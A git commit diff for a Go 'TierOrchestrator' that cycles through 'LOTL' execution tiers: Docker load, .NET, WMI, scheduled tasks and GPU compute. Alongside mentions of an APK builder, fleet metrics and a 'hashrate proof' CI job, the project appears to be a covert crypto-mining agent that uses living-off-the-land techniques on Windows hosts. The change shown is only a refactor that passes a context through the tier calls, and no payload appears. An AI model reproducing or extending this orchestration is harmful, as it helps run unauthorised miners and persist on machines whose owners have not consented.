Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-13 19:54:24 -07:00
parent df88d160cb
commit 689e574f7a
17 changed files with 497 additions and 65 deletions

View File

@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
default:
}
start := time.Now()
err := o.invokeTier(tier, hooks)
err := o.invokeTier(ctx, tier, hooks)
duration := time.Since(start)
if err != nil {
if errors.Is(err, ErrTierChainSkipped) {
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
return "", ErrTierChainExhausted
}
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
switch tier {
case TierDockerLoad:
if hooks.StartDockerLoad == nil {
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return hooks.StartDotnet()
case TierWMI:
attempt := RunWMITier(context.Background(), o.cfg)
attempt := RunWMITier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return nil
case TierScheduledTask:
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
attempt := RunScheduledTaskTier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
}
return nil
case TierGPUCompute:
attempt := RunGPUComputeTier(context.Background(), o.cfg)
attempt := RunGPUComputeTier(ctx, o.cfg)
o.recordAttemptRecord(attempt)
if attempt.OK {
o.mu.Lock()